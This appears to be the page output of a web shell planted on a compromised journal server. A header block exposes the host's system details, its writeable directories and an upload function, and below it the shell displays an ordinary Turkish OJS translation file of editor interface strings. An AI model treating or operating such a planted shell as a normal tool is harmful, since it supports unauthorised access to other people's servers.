KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/tr_TR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/tr_TR/editor.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:36+00:00\n"
"PO-Revision-Date: 2020-04-30 14:45+0000\n"
"Last-Translator: Hüseyin Körpeoğlu <[email protected]>\n"
"Language-Team: Turkish <http://translate.pkp.sfu.ca/projects/ojs/editor/tr/>"
"\n"
"Language: tr_TR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "editor.home"
msgstr "Editör Ana Sayfa"

msgid "editor.reassign"
msgstr "Yeniden Ata"

msgid "editor.submissionsAndPublishing"
msgstr "Gönderiler ve Yayımlama"

msgid "editor.submissionQueue"
msgstr "Gönderi Kuyruğu"

msgid "editor.submissionArchive"
msgstr "Gönderi Arşivi"

msgid "editor.publishing"
msgstr "Yayımlama"

msgid "editor.publishedIssues"
msgstr "Yayımlanmış Sayılar"

msgid "editor.allSections"
msgstr "Tüm Bölümler"

msgid "editor.allEditors"
msgstr "Tüm Editörler"

msgid "editor.me"
msgstr "Ben"

msgid "editor.publicIdentificationExists"
msgstr "Diğer objeler (sayı, makale, dizgi veya ek dosya) için '{$publicIdentifier}' adlı genel belirleyici zaten var. Lütfen derginizdeki tekil belirleyicileri seçiniz."

msgid "editor.submissionArchive.noSubmissions"
msgstr "Arşivde kayıtlı gönderi yok."

msgid "editor.submissionArchive.saveChanges"
msgstr "Arşivlenmiş gönderilerdeki değişiklikleri kaydet. Silinmek üzere işaretli kayıtlı yazılar sistemden tamamen silinecektir."

msgid "editor.submissionArchive.confirmDelete"
msgstr "Bu kaydı tamamen silmek istediğinizden emin misiniz?"

msgid "editor.submissionReview.confirmDecision"
msgstr "Bu kararı kaydetmek istediğinizden emin misiniz?"

msgid "editor.submissionReview.emailWillArchive"
msgstr "Bu gönderi Yazarı Bilgilendir e-posta mesajından sonra arşivlenecektir. Arşivleme için \"Gönder\" veya \"E-posta Göndermeden\" seçeneklerinin hangisinin kullanıldığı fark etmez."

msgid "editor.submissionReview.cannotSendToCopyediting"
msgstr "Makaleyi yayına göndermeden önce,  kararı yazara bildirmek için Yazarı Bilgilendir linkini kullanınız. Daha sonra yayına gönderilcek sürümü seçerek Dosya Gönder seçeneğini tıklayınız."

msgid "editor.notifyUsers"
msgstr "Kullanıcıları Bilgilendir"

msgid "editor.notifyUsers.allReaders"
msgstr "Tüm okuyucular ({$count} kişidir)"

msgid "editor.notifyUsers.allAuthors"
msgstr "Tüm yayınlanan yazarlar ({$count} kişidir)"

msgid "editor.notifyUsers.allIndividualSubscribers"
msgstr "Tüm bireysel aboneler ({$count} kişidir)"

msgid "editor.notifyUsers.allInstitutionalSubscribers"
msgstr "Tüm kurumsal aboneler ({$count} üye)"

msgid "editor.notifyUsers.inProgress"
msgstr "Kullanıcıları bilgilendir..."

msgid "editor.usersNotified"
msgstr "Kullanıcılar bilgilendirildi"

msgid "editor.notifyUsers.allUsers"
msgstr "Bu mesajı dergi ile bağlantılı tüm kullanıcılara gönder ({$count} users)"

msgid "editor.notifyUsers.interestedUsers"
msgstr "Bu mesajı dergi ile bağlantılı ve değişikliklerden haberdar olmak isteyen tüm kullanıcılara gönder ({$count} üye)"

msgid "editor.notifyUsers.includeToc"
msgstr "Bu sayının içindekiler listesini ekle:"

msgid "editor.editorAdministration"
msgstr "Editör Yönetimi"

msgid "editor.issues.createIssue"
msgstr "Sayı Oluştur"

msgid "editor.issues.editIssue"
msgstr "Sayı Yönetimi: {$issueIdentification}"

msgid "editor.issues.currentIssue"
msgstr "Şimdiki Sayı"

msgid "editor.issues.numArticles"
msgstr "Öğeler"

msgid "editor.issues.noArticles"
msgstr "Bu sayı için seçilmiş öge yok."

msgid "editor.issues.confirmDelete"
msgstr "Bu sayıyı kalıcı olarak silmek istediğinizden emin misiniz?"

msgid "editor.issues.published"
msgstr "Yayımlanmış"

msgid "editor.issues.unpublished"
msgstr "Yayımlanmamış"

msgid "editor.issues.datePublished"
msgstr "Yayımlanma Tarihi"

msgid "editor.issues.volumeRequired"
msgstr "Cilt gerekli. Pozitif, numerik değer olmalıdır."

msgid "editor.issues.numberRequired"
msgstr "Sayı gerekli.  Pozitif, numerik değer olmalıdır."

msgid "editor.issues.yearRequired"
msgstr "Yıl gerekli.  Pozitif, numerik değer olmalıdır."

msgid "editor.issues.titleRequired"
msgstr "Bu sayı için bir başlık gerekli."

msgid "editor.issues.issueIdentificationRequired"
msgstr "Sayı belirteci gereklidir. Lütfen sayı belirteçlerinden en az bir tanesini seçiniz."

msgid "editor.issues.issueIdentification"
msgstr "Sayı belirteci"

msgid "editor.issues.publicIssueIdentifier"
msgstr "Genel sayı belirleyici"

msgid "editor.issues.description"
msgstr "Tanımlama"

msgid "editor.issues.accessStatus"
msgstr "Erişim durumu"

msgid "editor.issues.accessDate"
msgstr "Açık erişim tarihi"

msgid "editor.issues.enableOpenAccessDate"
msgstr "Ertelenmiş açık erişimi etkinleştir"

msgid "editor.issues.coverPage"
msgstr "Kapak Görseli"

msgid "editor.issues.coverPageInstructions"
msgstr "(Uygun dosya biçimleri: .gif, .jpg veya .png )"

msgid "editor.issues.uploaded"
msgstr "Yüklenmiş"

msgid "editor.issues.remove"
msgstr "Kaldır"

msgid "editor.issues.proofed"
msgstr "Düzeltilmiş"

msgid "editor.issues.removeCoverPage"
msgstr "Kapak sayfası görselini kaldır?"

msgid "editor.issues.removeCoverImageFileNameMismatch"
msgstr "Silmek istediğiniz kapak resmi ile eşleşme sağlanamadı. Lütfen sayfayı yenileyin ve tekrar deneyin."

msgid "editor.issues.removeCoverImageFileNotFound"
msgstr "Silmek istediğiniz kapak resmi bulunamadı. Silinmiş olabilir. Sayfayı yenilemeyi deneyin."

msgid "editor.issues.invalidCoverImageFormat"
msgstr "Geçersiz kapak sayfası biçimi. Kabul edilebilir biçimler: .gif, .jpg veya .png."

msgid "editor.issues.styleFile"
msgstr "Sayfa Sitili"

msgid "editor.issues.invalidStyleFormat"
msgstr "Uygunsuz sayfa sitil dosyası. Gönderdiğiniz dosyanın geçerli bir biçimlendirme dosyası olduğundan emin olunuz (CSS). (Note: Başlangıcında yorumlar olan biçimlendirme dosyaları reddedilebilir.)"

msgid "editor.issues.removeStyleFile"
msgstr "Sayfa Stilini Kaldır?"

msgid "editor.issues.coverPageCaption"
msgstr "Kapak başlığı"

msgid "editor.issues.showCoverPage"
msgstr "Bu sayı için aşağıdaki öğeler ile bir kapak oluşturunuz."

msgid "editor.issues.coverPageDisplay"
msgstr "Görüntüle"

msgid "editor.issues.openAccess"
msgstr "Açık erişim"

msgid "editor.issues.subscription"
msgstr "Abonelik"

msgid "editor.issues.identification"
msgstr "Tanımlama"

msgid "editor.issues.access"
msgstr "Erişim"

msgid "editor.issues.cover"
msgstr "Kapak"

msgid "editor.issues.confirmIssueDelete"
msgstr "Tüm yazılar yayın bekleme kuyruğuna geri gönderilecek ve tüm ilişkili dosyalar kaldırılacaktır. Bu sayıyı kaldırmak istediğinizden emin misiniz?"

msgid "editor.issues.resetIssueOrder"
msgstr "Bu dergi özel sayı sıralaması kullanır. <a href=\"{$url}\" class=\"action\">Varsayılana dön</a>"

msgid "editor.issues.resetSectionOrder"
msgstr "Bu sayı özelleştirilmiş bölüm sıralaması kullanır. <a href=\"{$url}\" class=\"action\">Varsayılana dön</a>"

msgid "editor.issues.issueData"
msgstr "Sayı Verisi"

msgid "editor.issues.saveChanges"
msgstr "İçindekiler sayfasındaki değişiklikler kaydedilsin mi?"

msgid "editor.issues.default"
msgstr "Varsayılan"

msgid "editor.issues.order"
msgstr "Sıra"

msgid "editor.issues.publicId"
msgstr "Genel Sıra"

msgid "editor.issues.publishIssue"
msgstr "Sayıyı Yayınla"

msgid "editor.issues.unpublishIssue"
msgstr "Yayından Kaldır"

msgid "editor.issues.previewIssue"
msgstr "Sayı Önizleme"

msgid "editor.issues.preview"
msgstr "(Önizleme)"

msgid "editor.issues.confirmPublish"
msgstr "Yeni sayıyı yayınlamak istediğinizden emin misiniz?"

msgid "editor.issues.confirmUnpublish"
msgstr "Yeni sayıyı yayından kaldırmak istediğinizden emin misiniz?"

msgid "editor.issues.confirmSetCurrentIssue"
msgstr "Bu sayıyı güncel sayı olarak belirlemek istediğinizden emin misiniz?"

msgid "editor.issues.publicArticleIdExists"
msgstr "Aşağıdaki makale için Genel Sayı kaydedilemiyor:"

msgid "editor.issues.noLiveIssues"
msgstr "Yayınlanan Sayı Yok"

msgid "editor.issues.open"
msgstr "Aç"

msgid "editor.issues.pages"
msgstr "Sayfalar"

msgid "editor.issues.galleys"
msgstr "Sayı Dizgileri"

msgid "editor.issues.galley"
msgstr "Sayı Dizgisi"

msgid "editor.issues.viewingGalley"
msgstr "Sayı Dizgisi Gösterimi"

msgid "editor.issues.issueGalleysDescription"
msgstr "Tüm konu içeriği ile dizgileri yayınla."

msgid "editor.issues.noneIssueGalleys"
msgstr "Hiçbir sayı dizgisi yayınlanmamıştır."

msgid "editor.issues.galleyLabelRequired"
msgstr "Sayı dizgi etiketi gerekli."

msgid "editor.issues.galleyLocaleRequired"
msgstr "Sayı dizgi dili gerekli."

msgid "editor.issues.galleyPublicIdentificationExists"
msgstr "Genel sayı dizgi kimliği zaten var."

msgid "editor.issues.backToIssueGalleys"
msgstr "Sayı dizgilerine geri dön"

msgid "editor.issues.confirmDeleteGalley"
msgstr "Bu sayı dizgisini silmek istediğinizden emin misiniz?"

msgid "editor.issues.identifiers"
msgstr "Tanımlayıcılar"

msgid "editor.navigation.futureIssues"
msgstr "Gelecek Sayılar"

msgid "grid.action.addGalley"
msgstr "Dizgiye Ekle"

msgid "grid.action.publish"
msgstr "Sayıyı Yayınla"

msgid "grid.action.addIssue"
msgstr "Yeni Sayı Yarat"

msgid "grid.action.viewIssue"
msgstr "Bakış"

msgid "grid.action.previewIssue"
msgstr "Önizleme"

msgid "grid.action.addIssueGalley"
msgstr "Sayı Dizgisi Yarat"

msgid "grid.action.setCurrentIssue"
msgstr "Güncel Sayı Belirle"

msgid "editor.navigation.issueArchive"
msgstr "Önceki Sayılar"

msgid "editor.article.designateReviewVersion"
msgstr "Orjinal dosyayı Değerlendirme Sürümü olarak belirle"

msgid "editor.article.decision"
msgstr "Karar"

msgid "editor.submissions.showBy"
msgstr "Göster"

msgid "editor.submissions.submitMMDD"
msgstr "Başvur AA-GG"

msgid "editor.submissions.activeAssignments"
msgstr "Aktif Atamalar"

msgid "editor.submissions.invite"
msgstr "Davet Et"

msgid "editor.submissions.accept"
msgstr "Kabul"

msgid "editor.submissions.noSubmissions"
msgstr "Başvuru Yok"

msgid "editor.submissions.lastAssigned"
msgstr "En Son"

msgid "editor.submissions.averageTime"
msgstr "Haftalar"

msgid "editor.submissions.lastCompleted"
msgstr "Son Tamamlanan"

msgid "editor.submissions.assignedTo"
msgstr "Atanan"

msgid "editor.submissions.inSection"
msgstr "Bölümde"

msgid "editor.article.scheduleForPublication"
msgstr "Yayınlanmak üzere planlandığı sayı:"

msgid "editor.article.scheduleForPublication.toBeAssigned"
msgstr "Yayın Planı Yapılacak"

msgid "editor.article.payment.publicationFeeNotPaid"
msgstr "Yayın ücreti ödenmedi. Öğenin yayın planına alınabilmesi için yazara ödeme veya feragat bilgilendirmesi yap."

msgid "editor.article.removeCoverImageFileNotFound"
msgstr "Silmek istediğiniz kapak resmi bulunamadı. Zaten silinmiş olabilir. Sayfayı yeniden yüklemeyi deneyin."

msgid "grid.action.removeArticle"
msgstr "Makale Sayıdan Silinsin"

msgid "editor.article.remove"
msgstr "Sil"

msgid "editor.article.remove.confirm"
msgstr "Makaleyi bu sayıdan silmek istediğinizden emin misiniz ? Bu makale bir başka sayı içinde yayınlanabilir."

msgid "editor.issues.invalidAccessDate"
msgstr "Giriş tarihi geçerli değil."

msgid "editor.issues.editIssueGalley"
msgstr "Sayı Dizgisini Düzenle"

msgid "editor.submission.production.productionReadyFilesDescription"
msgstr "Mizanpaj editörü bu dosyaları her dizgi için hazırlar ve sağlama <span class=\"pkp_help_title\">Sağlama</span> için yükler."

msgid "editor.submission.selectGalleyFiles"
msgstr "Dizgi dosyalarını seç"

msgid "editor.submission.editorial.finalDraftDescription"
msgstr "Bu listedeki nihai taslak dosyalar altında aşağıda yüklendi copyedited sürümleri, bir sayfa düzenleyici tarafından dönüştürülür.<span class=\"pkp_help_title\">Copyediting</span>."

msgid "editor.submission.proof.manageProofFilesDescription"
msgstr "Zaten herhangi bir başvuru aşamasında yüklenmiş olan tüm dosyalar için aşağıdaki onay kutusunu ve tıklayarak Dahil kontrol ederek Redaksiyon liste eklenebilir. Arama: Tüm mevcut dosyalar listelenir ve dahil edilmesi için seçilebilir."

msgid "editor.article.coverImage"
msgstr "Kapak Görseli"

msgid "editor.article.showPublicationVersion"
msgstr "Planlanmış Yayını Göster"

msgid "editor.publicIdentificationExistsForTheSameType"
msgstr ""
"'{$PublicIdentifier}' genel tanımlayıcısı aynı türden başka bir öğe için "
"zaten kullanımda. Lütfen derginiz içerisinde aynı türden öğeler için "
"benzersiz tanımlayıcılar seçin."

msgid "editor.article.editMetadata"
msgstr "Sürüm Üst Verisini Güncelle"

msgid "editor.article.viewMetadata"
msgstr "Sürüm Üst Verisini Göster"

msgid "editor.article.publishVersion"
msgstr "Yayın Sürümü"

KUNTUL | JINGKONTOT |